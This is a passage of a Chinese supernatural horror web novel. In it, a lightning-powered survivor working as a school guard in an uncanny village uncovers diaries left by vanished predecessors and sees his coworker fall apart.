原野一步一步地上着台阶,夫妻俩的眼睛随着他们的动作越抬越高,越过了眉骨,滑上了天灵盖,攀上了老两口身后的水泥柱子。 “到了。”原野回神,将师酌光躬身放下,越过栏杆和老夫妻打招呼。 老夫妻笑眯眯地回应,眼睛因为阳光半眯了起来。 “那我就走了,”原野将师酌光送进房间,嘱咐道:“有事叫我。” “行,”师酌光熟练地推着轮椅走到窗边,开窗通风:“中午来我这里吃饭吗?” “不了,我得赶紧回学校,午饭在那儿吃。”原野早上陪师酌光复诊,跟学校请了俩小时的假,着急回去销假。 “能帮我把卧室里的电风扇拿出来吗?”师酌光不好意思地说道。 “小事。”原野进屋找了电风扇搬到客厅,对着窗户吹着,顺便给师酌光带了一个薄毯子盖腿:“小心别着凉,我走了。” “路上慢点,注意安全。”师酌光招手,让原野低下头,将他背上的书包取下来,塞装了许多食水在里面后才还给了原野,客气道:“带去学校吃吧,食堂的饭不好吃你就来我这里,又没多远。” “知道啦。”原野轻快地应道,背着书包出门,急匆匆回学校上班。 师酌光留在屋里,翻开手,看到原野刚才给自己盖毯子时,塞进自己掌心里的东西,是个旧的打火机。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 8、第八章 新工作 天上的太阳高悬,炽烈的阳光照耀下,何有乡到处都反射着白惨惨的光,蝉声从四面八方传来,嗡鸣不断。 原野飞奔过扬尘的街道,临到学校时熟练地转到小道,加速助跑,一脚踏上学校砖墙旁的土堆,借力跃起,单手扣住墙头,整个人潇洒跃过院墙,跳进了学校里。 被教导主任逮了个正着。 “小原!”教导主任板着脸骂人:“上学你就翻墙,现在上班还翻?” “王老师我错了。”原野双手合十,低姿态求饶:“我习惯了……” “你啊……”教导主任王德胜气得牙痒痒:“你又不是没请假!大大方方从正门走进来,被学生看到怎么起带头作用!” “我以后一定注意。”原野表情诚恳。 教导主任又训了半天,余怒未消地挥了挥手,让原野告退了。 “被骂了吧。”上了年纪的门卫大爷一边抽烟,一边幸灾乐祸:“你上学的时候就这毛病,我抓你还跑得飞快,现在跑不了了吧。” “哈哈哈,赚钱难啊。”原野潇洒抬手,把双肩包扔到了放报纸的角落里,干笑两声,突然愣住了。 不对啊,我上学的时候群尸环绕,有人架着枪看着呢,我还翻墙?翻完我还不被打成筛子? 原野脑中好像吹过一阵凉风,恢复了自己的意识。 这里到底是怎么回事? 原野脑子里闪过好几种猜测,觉得最相似的是幸存者基地里的那些有幻想异能的人。 这个世界也有异能? 那师酌光有吗? 原野瞬间否定了这个猜测,有异能的人身体素质也会很好,师酌光明显不是。 那这个幻境是谁造出来的? 原野一边应付着保安大爷,脑海里飞快罗列着嫌疑人,然而他得到的线索实在少得可怜,排除掉师酌光后,勉强能对他有意见的恐怕只又别墅里的夫夫二人。 不过原野看别墅留下的痕迹,觉得与其怀疑夫夫俩对他下毒手,还不如说他俩也被拖进了幻境里生死不知。 所以被盯上的是那栋别墅? 原野想到这里,一股疲惫感油然而生,仿佛滑入梦境般,再度陷入了混沌。 这种感觉说不上好还是不好,像是身体落在了松软的床垫上,做着一场长长的梦,像是滚圆的弹珠沿着铺好的轨道不断弹动着向下坠去,无法离开,也不会停止。 直到门卫大爷递了零食在他手里时,那枚弹珠才突然停在了轨道上,在原地不断地旋转,发出嗡鸣。 师酌光让我别吃这里的东西! 原野在将牛肉干送入口中的前一刻清醒了过来,背上霎时间起了密密麻麻的一层冷汗,他赶紧将手放了下来,门卫大爷却还在不住催他。 “快吃啊,”姓李的门卫眉目和善,笑着催促原野。 “我胃突然不舒服,等下再吃吧。”原野干巴巴地说道。 “快吃啊。”门卫仿佛没听见一般笑道。 肉干的香味飘了原野一脸,口水都要下来了,好在原野理智尚存,把口水咽下去,还是拒绝了。 “快吃啊。” “快吃啊!” “快吃啊!快吃啊!快吃啊!”李大爷的嘴裂开标准的笑容,眼睛失去了神光,直勾勾地盯着原野,越靠越近。 “快吃啊,快吃啊,快吃啊。”外面也传来了催促的声音。原野扭头看去,只见保安室环形的玻璃窗上挤满了人脸,已经下课的学生们围在外面,脸紧贴在玻璃窗上,毫无间隙的接触让五官都发生了畸变,但是他们还能发声。 “快吃啊,快吃啊,快吃啊。”声音从四面八方传来。 饶是被丧尸围攻过的原野看到此情此景,仍是后背汗毛倒竖,惊出了一身冷汗。 窗外学生们几乎要从窗户的缝隙里挤进来,屋内李大爷越逼越近,看这架势,只要原野不吃,就是要将牛肉干直接塞进他的嘴里。 原野不住后退,后背抵上墙壁,眼看着越来越近的人群,电光火石间想到了开车探路时的情景,蓄力抬手,打出一声清脆的响指。 刹那间天空响起霹雳之声,一道电光划破天幕,与此同时,那些围拢过来的人突然停了下来,好像是被扣掉了电池的玩具人偶,在轰鸣的雷声下保持着诡异的前进的姿势,动也不动了。 原野不敢怠慢,抄手抓过门卫手里的牛肉干,手指尖电光涌动,肉干顷刻变作齑粉,被原野扬了。 再见吧!珍贵的肉干! 下一刻,雷声消散,仿佛蜡像一样的人偶瞬间镀上了人类的光泽,变回了活生生的人,仍然笑着,让原野吃东西。 “我已经吃完了呀。”原野笑容夸张,热情道。 门卫闻言,低头看向手里的袋子,发现里面已经空了,面上露出狐疑的神色。 原野趁机扫视一圈窗外的学生,十来岁的学生身高长相各异,不同的脸上却挂着同样疑惑的表情。 这场景令人头皮发麻,但原野神色自若,坦然任这些目光打量。片刻后,门卫大爷似乎终于相信了原野的话,从那令人不适的紧贴的距离中抽身,慢慢退回了座位上。 就在他坐下的一瞬间,那种窒息般的氛围倏然消散,原野抬头,窗外丧尸一样的学生换回了自己的表情,在阳光下聊天,散步,玩耍,像所有正常的学生一样做着正常的事。 一切都恢复了正常。 吓死我了。 原野头皮发麻地站在原地,刚要松一口气,熟悉的困意又翻涌了上来。 等等,不能是现在啊! 原野急得要死,情急之下手背在身后,搓了一道闪电打在了自己后背,电得脊背一挺,不出所料地清醒了。 “你怎么了?”恢复了和善样子的门卫大爷看着原野僵硬的表情,关切问道。 “啊……没什么,”原野赶紧摇头,抬眼看表,见马上就十一点了,随口道:“咱们是不是该巡视了?” 按照学校的规定,每两个小时保安要巡视校园一圈。保安室只有两个人,还得留一个人守大门口,所以巡视的活儿是他和老李轮流来的。 他对陷入混沌时发生的事有个模模糊糊的记忆,记得上次是他去巡视的,按理说这回该老李了。 但是看这里的人叵测的行为,原野不觉得老李会放心让自己一个人呆在保安室,便自觉道:“早上请假让你受累了,这趟我去吧。” “别介,”老李却很不赞同,随手一挥,道:“该是啥是啥,你在这儿看着吧,我去。” 门卫大爷说完,不待原野反应,便强硬地拿上了巡视登记表出了门。 这反而让原野都觉得不适应了,心中猜测难道是因为自己吃了东西,获得了他们的信任? 但是老李都没有看着我吃下去啊,按理说他应该不放心啊。 原野心里嘀嘀咕咕,但是不耽误他的手上动作飞快地电了自己一下,生怕一不小心错过了宝贵的独处时间。 嘶——好疼。 原野疼得面部扭曲,手上快速翻着桌子上的出入登记这些乱七八糟的记录,可惜上面的东西平平无奇,原野花了两分钟一无所获,倒是翻到了一枚老李落下的一元硬币。 原野眼睛瞟到那钱,心中一动,修长的手指一抹一翻,将硬币藏进了袖口,转身去别的地方搜去了。 学校面积不大,麻烦的是机房、教具室这些地方巡视的时候需要开锁进屋,签个字才能走,即便如此,也不过十分钟的时间就可以回来了。 时间紧迫,原野顾不上许多,在屋内翻箱倒柜,甚至趴到了地上观察桌子底下的灰尘,试图找出一点不寻常的痕迹来。 保安室的桌子放在巨大的玻璃窗下,阳光惨白惨白地照进来,令人心慌。 原野怕学生们透过窗户看到他在干什么,干脆跪在了地上,努力贴着桌子团成一团,尽可能地缩在死角里,探手去摸桌子底下。 摸到了一手的灰,和一个硬皮笔记本。 还真有东西! 原野心中暗喜,探手将笔记本拿出来,却发现只是一本普通的来访人员登记记录,上面中规中矩地写了谁谁谁几时来访的信息,日期是近几个月的,名字也自然都是原野不认识的。 十分钟马上就要过去了,却只找到这没用的东西,原野还要为了保持清醒一直电自己,简直赔了夫人又折兵,实在让原野心疼自己。 他看那本记录心烦,抬手就要扔回原位,却突然顿住了。 记录本不会无缘无故地掉出来。 想到这里原野果断从桌上拿了根曲别针,抻直捅进桌柜的锁眼里,几下撬开锁,开门,果然见里面挤挤挨挨堆了一堆各种规格的记录本。 时间不多,原野没时间一个个翻找,猜测这里堆着的记录本是写满一个就扔进去,也没人整理,于是歪歪斜斜塞了一柜子。 如果有人藏东西,肯定是要藏在最下面的,这些本子又不好拿出来,应当是用力将下面的本子抬起来,空出一个空隙再将要藏的东西塞进去。自己手里这一本记录本是刚写完的,堆在上面,受力滑了出来,这才掉进了角落里。 原野想到这里,立刻俯身去看柜子最下面那一排笔记本,果然有看到有一个本子页边和其他的比起来颜色稍白,是没被氧化过的新笔记本。 原野只是想碰运气,谁知真让他找到了,当即欣喜若狂将笔记本抽了出来,刚要起身,一阵电流好像从他的天灵盖炸开一样令他打了个哆嗦。 原野立刻停下了动作,保持着蹲着的姿势慢慢抬起了头。 那扇巨大的玻璃窗外,日光照得天地发白,背着手的教导主任与他四目相对。 王德胜主任站在保安室的玻璃窗外,面皮紧紧绷在他干瘦的窄脸上,两颗突出的眼球藏在玳瑁框的镜片后,静静地观察着他。 “我的妈呀!”原野吓得一屁股坐在了地上,胸口剧烈地起伏,待看清楚窗外是教导主任后才长舒了口气,狼狈地往起爬。 原野吓坏了,爬了几下都没起来,气急败坏地去撑桌子。就在他笨拙地找支点的时候,趁着靠近桌子的瞬间,将笔记本从衣摆塞进了宽大的保安制服里,身子前倾靠在桌子上,挤住笔记本不往下掉。“哗”的一下打开窗户,用膝盖把柜门顶了回去,大声抱怨道:“怎么一句话也不说,王老师你要吓死我啊!” “你干什么呢?”王主任板着脸,声音和他的样貌一样干瘪。 “把老李的硬币给弄地上了,刚捡起来。”原野手一翻,刚才收起来的那枚硬币出现在了他的手指间:“我说王老师,你不会以为我是想偷老李的钱吧?” 教导主任没有答话,那双凸起的眼睛像监视器的探头一样注视着原野,似乎在评估他话里的可信程度。 原野恼羞成怒:“不是,王主任,我就算上学的时候喜欢逃课,我也没小偷小摸吧!你这样搞我以后怎么和老李相处?” 王主任仍然没有说话,他的眼睛不自然地向前凸着,原野甚至觉得那双眼球会从眼眶里滚出来,落在地上,去看自己脚边有什么。 不能再这么下去了。 “王德胜!”原野咬牙下了决断,一拍桌子怒道:“你是不是对我有意见?” “胡说!你怎么说话呢!”挑衅的话好像终于激活了王德胜,他一秒钟都没有用就进入到了愤怒的教导主任的状态,干瘪的皮囊在瞬间被注入了生气,话音都变得鲜明了起来:“我站在这里都不行了?就是过来跟你打个招呼,瞧你那刺头样子!不服管教!” 王主任一下子找到了熟悉的感觉,转身往旁边走就要进门训原野。 趁着王老师从窗户走向门后时瞬间的视线遮挡,原野立刻把笔记本卡在腰带上,用宽大的保安服遮住。 下一秒,教导主任推门进来,看着他就骂了起来。 原野计划得逞,也就不再说话了,随他骂去,一直到李大爷巡视回来,仍是不停。 好在门卫大爷是个好大爷,上前拉住了愤怒的王德胜,拿了支烟给他,道:“你跟小孩儿置什么气,还有小原也是,过来跟王主任道歉。” 原野装成满脸不耐烦的样子,抓起桌上的打火机要给教导主任点火。 “道什么歉,”王主任一摆手不让原野上前,恼火道:“刺头一个。” 老李仍是笑呵呵地打圆场,王德胜才不情不愿地说给老李面子,看也不看原野,走了。 “你咋又惹他了?”老李见他走了,把巡视表往桌子上一扔,有点兴奋地问道。 “谁知道啊,”原野把硬币还给了老李,撇嘴道:“刚才不声不响站外面,吓我一跳,估计是怕我说他,先训了我一顿。说真的,要不是给你面前,姓王的再说下去,我高低给他两下。” “说什么呢,别犯浑啊。”门卫大爷嘴角一耷拉,教育道。 原野一副今天算我倒霉的憋气样子不再说话了,气哼哼地坐到角落看报纸。 老李则打开了电视,看起历史剧来。 “吾皇万岁万岁万万岁”的声音在房间里传开。 喔喔喔,这是什么!看着好好看! 原野藏在报纸后面的眼睛都瞪大了。 末世当然也有电视剧,但很少有古装剧,因为古装费布料。 原野少见这样奢华到靡费的穿衣打扮,眼睛瞪得溜圆,脖子越伸越长,试图加入观影。 不对!你在干什么啊原野!干正事啊! 原野强迫自己收回目光,将藏在保安服里的笔记本拿出来,在报纸后小心打开。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 9、第九章 新发现 原野也不想这么刺激的在敌方眼皮底下翻笔记本,但是一来学校的其他位置他不熟悉地形,人还特别多,与其在外面面对无穷无尽的不知道会从哪里冒出头的人,还不如缩在保安室,最起码这里环境封闭,易守难攻。 不过在读笔记本之前原野还有一个更重要的事情要解决:先减少一下电自己的次数。 电自己真得太疼了! 原野想到这里,鬼鬼祟祟地往旁边挪了挪,贴住了自己双肩包,伸手在里面划拉,划出了一包鱿鱼丝。 “吃不吃鱿鱼丝?”学习能力超强的原野现在已经可以自如地说出鱿鱼丝这种高级零食词汇了。 “那是啥?”李大爷在专心看电视,头也没回:“你们年轻人的东西我吃不惯,你自己吃吧。” 原野心满意足地收回递出零食的手,大嚼特嚼。 顺带借着吃东西时塑料袋发出的声响,将两根电线从书包里拉了出来,握在了手心。 原野出发前用别墅里的电气设备改装了些小工具,之前他塞给师酌光的打火机里就有他存进去的雷电异能。原野包里留了一个计时断路器,他估算了一下刚才陷入混沌的大致时间,设置了一个六分钟的倒计时,把电线头别进了后腰腰带,紧挨着腰上的皮肤,打开了笔记本。 笔记的主人字挺难看的,原野艰难地辨认了半天,熟悉了字形,才坑坑巴巴地读了下去: 今天是5月3日,我不知道为什么他要我记下这些东西,但是我也想知道发生在我身上的这些事到底是不是真的,就按照他说的做了。 先从我怎么来这里的说吧。 我在灵嵨这边流浪两年了,去年冬天下了好几场雪,桥洞不能住,我就沿着河道往金源区的方向走,我知道那里的一个烂尾楼,上一年我就是在那儿凑合过了冬。 可惜春天的时候有帮吸毒的把楼占了,我不想和这种人扯上关系,就搬去了桥洞。这次回来就是想着冬天了,说不定他们嫌冷已经走了。 半道上又下了雪,我寻思今天肯定去不了那里了,就说在附近找个避风的地方就和一晚上,正巧就看到了那幢别墅。 说来也怪,这种别墅哪怕房主不在,保安也少不了,我平时从来不去这种地方,省得被保安赶来赶去,看我跟看贼似的。我虽然流浪,可从来没偷过抢过,那种狗眼看人低的保安,我看不上他们。 但就是那天,我隐隐有个感觉,能在那里住下。 当时天都黑了,保安不知道去了哪里,我也是碰运气,上去推了下门,门竟然自己开了。开都开了,我就进去看了一眼。 好家伙,房子里的家具都盖了白布,先吓了我一跳,后来明白了,是这里没人住,怕落灰罩了层布。要我说,这家人也太粗心了,幸亏遇到的是我,要是别的什么人,楼都给他搬空了。 但是我这个人讲道义,不是自己的钱财分文不拿,主家的东西我也不动他的,虽然进来了,但我也没上二楼去看过,就在他家沙发上睡了一觉,心说不贪他家便宜,就住一晚,第二天我接着往我那烂尾楼去。 谁知道第二天我就来这…… 原野读到这里,笔记上原本就不怎么好看的字迹逐渐潦草起来,后面的几个字简直飞上了天,最后更是没结没尾地断在了那里,不用想也知道是笔记的主人再度陷入了混沌。 原野继续往后翻。 今天是5月18号,上次没写完,那天我醒过来的时候已经到白天了,这家屋里没有吃的,我就说出去找找,谁知道一推开门,我就来到了这里。 我记得我住的别墅就在河边上,周围荒荒凉凉的,但是那天早上我一出门,看到的就是条热闹的街道,我站在门口都懵了,心说我昨天来的时候是这样的吗? 就这时候老李溜达着过来了,问我要不要一起去吃早饭,我这不是正饿着,就跟他去了。 这时候我也想起来了,我就在这儿的小学当保安,我比老李大点儿,吃完饭我说我去结账,到人跟前的时候我才想起来,坏了,我哪儿有钱啊。 但是我都说要请客了,我不能丢人吧,就到处摸,结果还真让我在口袋里摸着昨天小学发的工资,把钱给付了。 完事我就和我老李去上班,安安生生过了个年,一直到四月底的时候,你就找过来了。 原野读到这里,刚好六分钟计时到,电了他一个激灵。原野咬牙忍过阵痛,设了一个七分钟的倒计时,又翻回笔记本的第一页看去,确定一开始的人称是“他”,现在的代词又变成了“你”,加上这人自然地接受了两套截然不同的记忆,原野确认这个保安受何有乡的影响比他这个初来的人要严重许多,哪怕清醒时意识仍然是混沌的。 不能在这里逗留太久。 原野一边想着一边翻了一页,接着读下去: 我在何有乡有工作、有朋友、不用担心吃穿,我是挺满意的。不过我有的时候还会突然想起我当流浪汉时候的事情,就像现在这个时候。 我也不知道为什么,但是这个感觉特奇怪,像是喝多了又要值夜班一样恶心,不过我也习惯了。但是你找到我,说会解决我这个时不时恶心的毛病,我才会在本子上写这些东西。我也不知道有什么用,但是我按照你说的做了,你最好给我一个满意的解释。 6月1日 他让我想起来就在本子上记一笔,我也不知道要写点什么,今天是儿童节,倒是想起我姑娘了。 我以前和我老婆开了个早点摊儿,我家妞小时候还没灶台高就在店里帮忙了。问顾客收钱,从来没算错过,可聪明了。 可惜后来没学好,上高中的时候不好好上学,一天天瞎谈恋爱,最后不知道跟个什么男的跑了,真是气死我了。 我记得小时候带她去过六一,她扎的一头小辫子,头上还要点个小红点,臭美的很。那时候可乖了,还知道给我省钱,也不去那些花钱的地方,就在公园里玩儿滑梯,回家的时候都累坏了,还是我背着她回去的。 唉,好久没见过她了,还怪想她。 6月10日 做了个梦,梦见我女儿了。 梦里她还是小时候的样子,圆嘟嘟的,在店里跑来跑去的收钱,又聪明又懂事,可不是后来那个讨债鬼。 我赢了钱,带她去买糖葫芦吃,她把糖葫芦当成剑,喊着妖怪受死吧从纸袋子里抽出糖葫芦,在空中挥来挥去。耍半天就说杀了妖怪,师父奖励一颗糖葫芦,咬一颗山楂吃。 什么师父,明明是老子买的糖葫芦。 可惜后半段做起噩梦来了,有个没脸没皮的怪物从门缝里爬进屋子,我看着恶心,醒了,再后来翻来覆去也没睡着,今天值班都没精神,烦死了。 6月15日 这事情不对劲,这个世界都变了,我能看到,到处都有东西在看我,他们一直在看我,茶杯里有眼睛,镜子里有眼睛,签字笔里也有眼球,他们在监视我,桌子在呼吸,玻璃在呼吸,所有的东西,他们都是活的。 怎么会变成这样?你不是说只是让我记一笔日记吗?怎么会变成这样?你快点来解决它啊! 原野翻到下一页,却没有字了,原野不信邪地往后一页一页地翻,最后翻到了一段连日期也没有标明的,极度潦草的笔记。 我不应该答应你的,他来找我了,我到底是谁……救救我……救救我……你答应过我的……我不该答应你的……你找上来了……他找上来……救我!救我!救我! 救我!救我!救我! 救我!救我!救我! 最后两页的日记变得无比的凌乱,满纸都是救我两个字,最后甚至划破了纸页。 此时七分钟的倒计时到了,原野又被电了一下。他本就读笔记读得入神,被这一电险些吓得跳起来,好在及时按捺住了。 “你怎么了?”老李还是听到了点声响。 “没什……”原野一句话没说完,突然僵住了。 他说话时抬起了头看向老李。老李还在看电视,背对着原野,甚至头都没有转过来,覆盖着灰白色头发的后脑勺上生出了两颗布满血丝的眼球,直勾勾地看向原野。 原野顷刻间汗毛倒竖,咬紧牙关才没有叫出声来,缓了一息,才道:“坐的不舒服了,换个位置。” 没有眼皮包裹的眼球在它不该出现的地方快速地转动着,似乎在考虑要不要相信这样的说辞。 原野和眼球对视,强迫自己做出司空见惯的样子,见老李没有下一步的反应,心念一动,先借着报纸的掩护让笔记本滑进了背包里,然后在眼球的注视下,起身做了个伸懒腰的姿势,眼神越过老李头顶,落在电视屏幕上。 历史正剧昏沉晦暗的画面里反射出老李模糊的影子。 跳动的屏幕上,老李仍在入神地看着电视,该是眼睛的地方是一片平滑的皮肤。 原野看着那诡异的倒影心里发毛,手上却干脆利落地闪过电光,雷霆之声响彻天空,老李僵在了当场。 这一次原野没有立刻收回异能,能量急速抽空让他泛出一层冷汗,嘴唇迅速没了唇色。天外雷鸣不竭,他在背后死死地盯着老李,等待他的反应。片刻后,两双缺乏皮肤包裹的眼球落叶一样从后脑上掉下,原野抄手接住其中一颗,任由另外一颗眼球落下,在布满灰尘的地面上留下一个濡湿的圆痕。 接着,老李的鼻子、嘴巴、耳朵、头颅、四肢都开始松动,像是商场劣质的人台,“噼里啪啦”地落了一地的零件。 原野也到了极限,停下了异能。 世界倏然一静。 散落一地的老李蠕动了起来。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 10、第十章 新线索 青天白日,正午的太阳光透过巨大的玻璃窗落在保安室内,明亮到刺目的房间内,两个保安,一个站在旁边,一个散在地上。 原野此时有点方, 虽然异世界深不可测,但不管怎么说,人不能,最起码不应该是拼装的。 是机器人? 但他右手心里的眼球此时还保持着人体组织的潮湿温暖的手感。 原野左手拇指挎在裤子口袋上,笔直地站在老李的躯干边,注视着脚边老李的头颅滚向断颈,两只布满老茧的手掌被手指撑起,向手臂移动,散落的肢体像是被磁石吸引一样,缓慢地拼凑出一个人形。 就连原野手里那颗眼球都蠢蠢欲动地要从他手里蹦出去,跳回老李身上。 “李哥?”原野握着跳动的眼球,无事般说道:“中午你吃食堂吗?” 老李七零八落的耳朵和嘴巴用了很长一段时间,才回应了他。 “不吃……”老李的嘴巴在地板上一开一合,说话迟滞,语句却还有逻辑:“老马约我……中午去他……家里……喝酒……不……吃饭。” 原野闻言有些诧异,老李都化整为零了,竟然还知道中午喝酒违反学校的规定,要遮掩这无关痛痒的小错。 “行,我知道了,”原野笑着说道:“那我中午不回了,你下午早点回来。” “多谢……你了。”几句话之间,老李的嘴巴长回了脸上,说话都顺畅了不少。 原野手里的眼球还在挣扎,他没敢松手,怕手里的眼睛看到自己的样子,右手心里电光闪烁,跳动的眼球顷刻间变作飞灰,从他的指间飘走了。 此时老李拼好了自己,从地上站了起来,唯一剩下的眼球长到了鼻子上方,最中间的位置。 原野安静地打量着他,见他原本该长眼睛的位置被平滑的皮肤覆盖,好像老李天生就一只眼睛,就长在中间一样。 “你看我做什么?”老李疑惑道。 “你牙上有菜叶子。”原野礼貌答道。 老李果然如原野希望那样去照镜子了,独眼人的样貌出现在镜子里,映在老李的眼中,他却丝毫不觉得有什么问题,用仅剩的一颗眼睛看了看自己的牙齿,转头道:“哪儿有啊?” “我看花了吧。”原野笑了起来,样子十分开朗无害:“哥你赶紧把该签的字签了,赶学生们下学前你赶紧走,免得碰上下班的老师。” 这所小学中午可以寄宿,孩子们的父母又大多没有午休时间,所以中午离校的学生不多,原野一个人就可以应付了。 “成,中午辛苦你了,下回哥请你吃饭。”老李闻言不纠结牙齿美观问题了,赶紧坐回办公桌开始把中午要填的表提前签上名字。 原野又坐回位置上,本着不浪费时间的精神给自己调了一个九分钟的倒计时,之后就耐心地等着老李离开。 老李填完表就赶紧走了,中午离校的学生只有零星几个,加上回家的几个老师,前前后后花了二十多分钟的时间,这期间原野也试了出来,在不电击自己的情况下,他最多能清醒九分钟。 时间比原野期待的短不少,但比随时给自己来一下十万伏特强,原野心里给自己打气完,就去检查保安室里的监控了。 原野按照老李的性格随便试了几下,将密码试了出来,调出了二十分钟前的监控。果然不出他所料,彼时雷声大震,监控录下的校门口的位置,不管是校内还是校外,所有人都停住了动作,只不过有些人和老李一样散了一地,有些人只是僵住了躯体。 原野单手敲键盘,将画面暂停,记住了那几个没有散架的人的衣着样貌后,将监控恢复了原状,拿着饭缸去食堂打饭了。 原野没吃老李递来的牛肉干就引得丧尸环绕,他可不想因为不吃饭这件事再惹来什么野生的教导主任,干脆一切按部就班。 当然,打回来的饭他也没敢吃,忍着心疼找了个塑料袋装起来,放进了书包里,打算回家再扔。 之后就是重头戏了。 原野将今年、去年和前年五月的的保安签到表都找了出来,一页页翻了过去,却发现上面赫然都是老李和原野的签字,没有一笔是能和笔记本的主人的字迹对上的。 笔记的主人凭空消失了,而刚来这个世界三天的原野被填补进了过去三年的记录里。 所以我被安排在这里,是因为之前的保安死了? 那师酌光之前的图书馆管理员呢?也死了?也是被这个“他”找上死的? 原野坐在椅子上,刚才看着老李活人变乐高都没变化的表情,此时也不禁沉了下来。 看日记的样子,清醒时间久了,就会引来那个“他”,之后去向成谜,但要是一直被这里的身份迷惑,又会逐渐同化成老李那样生死不知的怪物。 想到这里,原野简直一刻钟也不浪费,立刻去图书馆将那里翻个底朝天,找到什么线索才行。奈何他还有人设需要维持,而且为了防止清醒太久,在第一天就被日记本里那个不太妙的“东西”盯上,原野咬牙设了一个六个小时的倒计时电击,接着任由意识散开,等下班再说。 这个感觉实在说不上好,原野只是感觉自己在座位上打了个盹,却已经无知无觉地过去了六个小时。 彼时他站在校门外,小学生和他擦身而过,飞鸟入林般冲出学校。 原野还没从混沌中彻底清醒过来,看着孩子们无忧无虑的样子,眼泪先比意识更快涌了出来。 “你咋了?”一只眼睛的老李皱着两条眉毛看原野。 “没什么,太高兴了。”原野抬手将眼泪抹去,心里却止不住想着丧尸病毒结束之后,他的世界应该也会变成这个样子。 这念头一升起,好似离开的心都变得圆钝了起来,原野当即心下一凛,赶紧更用力地盯起门口小土豆一样的学生们。 小学生:? 路过的小学生感受到他较劲一样的目光,疑惑地仰头去看这个帅气的保安叔叔。 保安叔叔回了他一个鬼脸,把小学生吓跑了。 妈妈啊,学校里有傻子。 好不容易熬过了下班时间,原野飞一样跑回了二层小楼,自然地打开了师酌光的家门,然而回应他的是空荡荡的房间和留在客厅的那辆自行车改装轮椅。 此情此景,原野差点吓得头发都要从天灵盖上飞出去了。 不会吧!难道一个下午师酌光就被那个什么东西抓走吃了? 原野一想到这个可能性就心神大乱,在家里四处找师酌光,甚至连电饭锅都掀开盖找了,也没看到师酌光的人影。 “你在干什么?”气喘吁吁地回到家的师酌光看着正在翻垃圾桶的原野,疑惑地问道。 “呃……”正把垃圾桶口朝下狂甩的原野呆滞道:“找你。” 师酌光:…… “我下午觉得自己好多了,就去上班了,”师酌光说好多了显然是一种托词,他说话时还扶着门框,脸上惨白一片,光是上楼就已经耗尽了他全部的力气。 原野见状赶紧推着轮椅一个冲刺,不由分说地将他铲进了轮椅里。 还没反应过来就已经坐下的师酌光:…… 师酌光坐在轮椅上缓了片刻,终于有力气向原野确认最要紧的一件事:“你应该没有吃过这里的东西吧?” “没有,”原野摇头,端详过师酌光后,问道:“你一直保持着清醒吗?” “对。”师酌光点头。 原野队长毛病又犯了,唠叨道:“在这里一直保持清醒……” “我知道。”师酌光打断道:“我有自己的办法。” “咦?”原野眼前一亮:“你有什么办法?” “我体质特殊,没办法教你。”师酌光摇头。 原野萎靡了。 “那你怎么保持清醒的?”原野不死心地追问道:“有不疼的方法吗?” “你用不了。”师酌光继续摇头。 原野更萎靡了。 “说正事吧,”师酌光能感觉到精力在自己身上急速消退,他靠在椅背上,疲惫地闭上眼睛,道:“我在图书馆找到了上任管理员留下的一些记录。” “也是从今年五月开始记的?”原野抢先问道。 “看来你也找到了不少东西。”师酌光重新睁开眼睛,看向原野:“发现了什么?” 原野闻言,将自己找到的日记本递给了师酌光,又将在学校遇到的事情原原本本跟他讲了一遍,只是没有说那几道晴天霹雳是自己召来的。 这好像挺关键的,要跟他坦白吗? 原野心里还在挣扎。 “全都在上学吗?”师酌光的注意力却放在了另外一件事上。 “这有什么问题吗?”原野十分不解。 “你不知道?”师酌光露出诧异的表情,盯着原野看了几秒,见他一脸的茫然,只得笑了一下:“算了,不是什么大事,倒是我在图书馆时听到几声雷声,是你做的?” “啊……这个……”原野脑子飞速旋转,却实在想不到有什么科学的解释,毕竟就算自己动手能力再强,手搓一个高能激光发射器诱导人工闪电这种话也太扯了。 “你看看这个吧。”看着原野窘迫的样子,已经知道答案的师酌光换了个话题,直接将一个牛皮档案袋递给了原野,让他自己看。 “这是什么?”原野拆开袋子,只见里面是一沓手写的图书馆购书意见征询表,其中几张征询表的背面被写上了字。 原野拿到手先扫了眼字迹,比保安的强多了。 6月5日 被你找上来之前,我一直没有怀疑过我在这里的人生,但是被你点醒后,我不得不重新审视我的过往,希望这对你我都有帮助。 我爸妈都是公职,大学毕业以后他们也希望我考公,我听他们的话回家备考。 可惜我考试运好像总是差一点,笔试成绩从第五名到第二名都考过,可惜我报考的部门要招的人数回回都比我考试的名次少一个人,所以我花了三年,考了六回,每一次都落榜。 我的父母很爱我,花钱给我报班上课,给我找自习室,还一直在劝我说不要有压力。但越是这样,我越是觉得对不起他们,直到最后一次落榜,我终于受不了一次次期望落空的失落,跟他们说我不想考了,想去上班。他们俩都有点失望,但最后也都同意了。 但是看他们这样,我更觉得对不起爸妈了。 兴许是我爸妈也看出来我情绪不好,所以特意跟我说,让我来灵嵨这边的二姨家玩两天散散心。 我那时候也不知道要做什么,就干脆听爸妈的话来了这边。 我二姨家是做生意的,家庭条件很好。我去的时候他们刚搬进了新买的别墅里,二姨就没让我在外面住酒店,而是让我一起住进了他们家。 说实话,虽然换了个环境,但是我的情绪一直不高,一想到我辜负了父母的期望,我心里就难受得厉害,在这样的情况下,可能是压力太大,我开始出现幻觉。 我想回家。 但我来之前,我爸妈给自己报了七日游,我要是回家,我二姨一定会告诉他们的。我考公的这三年,爸妈一直为我操劳,我不想难得他们出去玩的时候还要被我扫兴,打算等他们回来再走。 我掰着手指头一天又一天地数过去,直到有一天,我早上起床的时候,发现我二姨一家都不在家,我还以为他们去外面的草坪玩了,出门去找他们。 我记得我只是推开门走了出去,然而等我有意识的时候,竟然已经坐在图书馆的柜台里了。 我突然想起来了,我在毕业那年就考上了乡里的事业编,是这里的图书管理员。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 11、第十一章 新进展 原野读完了前图书管理员写的第一篇笔记,比起读保安的日记时的惊悚感,他现在更多的是疑惑,事业编是什么? 师酌光:…… “一种只要考上就可以干到退休,旱涝保收的工作。”师酌光深吸了一口气,向原野解释道。 “怪不得,我也想考。”原野向往地点头。 师酌光:…… 原野继续往下读。 6月13日 我到底是谁呢? 今天馆里填优秀工作者自荐表时我突然惊醒过来,想起我原来的家,我家里的爸爸妈妈,那我现在的爸妈呢?他们是谁呢? 我被这个念头吓到了,到底谁是我的爸妈呢?我自己都搞不清楚了。 